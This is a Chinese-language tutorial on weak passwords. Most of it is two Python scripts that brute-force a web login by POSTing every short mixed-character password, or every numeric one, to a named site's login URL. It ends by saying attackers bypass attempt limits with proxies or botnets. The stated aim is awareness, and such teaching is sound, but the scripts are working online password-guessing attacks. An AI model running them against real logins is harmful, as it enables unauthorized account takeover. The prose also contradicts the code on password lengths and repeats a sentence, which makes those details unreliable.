弱口令主要包括两方面:一方面,常见字符有大写字母、小写字母、数字、特殊字符,如果密码只使用了单一类型,那么就属于弱口令;另一方面,如果密码长度小于8位,那么再复杂的密码类型,也属于弱口令。
接下来,我们分别通过一段脚本,演示如何暴力破解弱口令。
一、长度小于8位的弱口令
以下是一个Python脚本,用于生成所有长度小于8位的密码,并使用requests库进行POST请求,从而实现对Web应用程序用户登录口令的暴力破解。
import requests
import itertools
import string
def force_crack(url, username):
# 定义字母、数字、特殊字符的密码组合
characters = string.ascii_letters + string.digits + string.punctuation
# 尝试0至7位的所有密码组合
for length in range(1, 8):
for password in itertools.product(characters, repeat=length):
password = ''.join(password)
response = requests.post(url, data={'username': username, 'password': password})
if 'Login Successful' in response.text:
print(f"Password found: {password}")
return
print("Password not found")
if __name__ == "__main__":
# 目标URL地址
target_url = "http://www.ms08067.com/login"
# 要测试的用户名为user
test_username = "user"
# 执行暴力破解
force_crack(target_url, test_username)
二、只使用单一字符的弱口令
以下脚本以纯数字密码为例,尝试破解倍数小于14位的纯数字密码,纯字母和特殊字符密码也是一样的思路。
以下脚本以纯数字密码为例,尝试破解倍数小于14位的纯数字密码。
import requests
import itertools
def force_crack(url, username):
# 定义字符集(仅数字)
characters = '0123456789'
# 尝试所有长度小于16位的数字密码
for length in range(1, 17):
for password in itertools.product(characters, repeat=length):
password = ''.join(password)
response = requests.post(url, data={'username': username, 'password': password})
if 'Login Successful' in response.text:
print(f"Password found: {password}")
return
print("Password not found")
if __name__ == "__main__":
# 目标URL
target_url = "http://www.ms08067.com/login"
# 要测试的用户名
test_username = "user"
# 执行暴力破解
force_crack(target_url, test_username)
三、一点说明
有些读者会认为,现实中,不少Web应用都设置了登录次数,因此不会被暴力破解。
事实上,道高一尺、魔高一丈,真正的黑客可以通过代理发送多次请求或通过控制大量肉鸡尝试登录等方式,有效规避登录次数的限制,实现对弱口令的暴力破解。
因此,弱口令绝对要不得!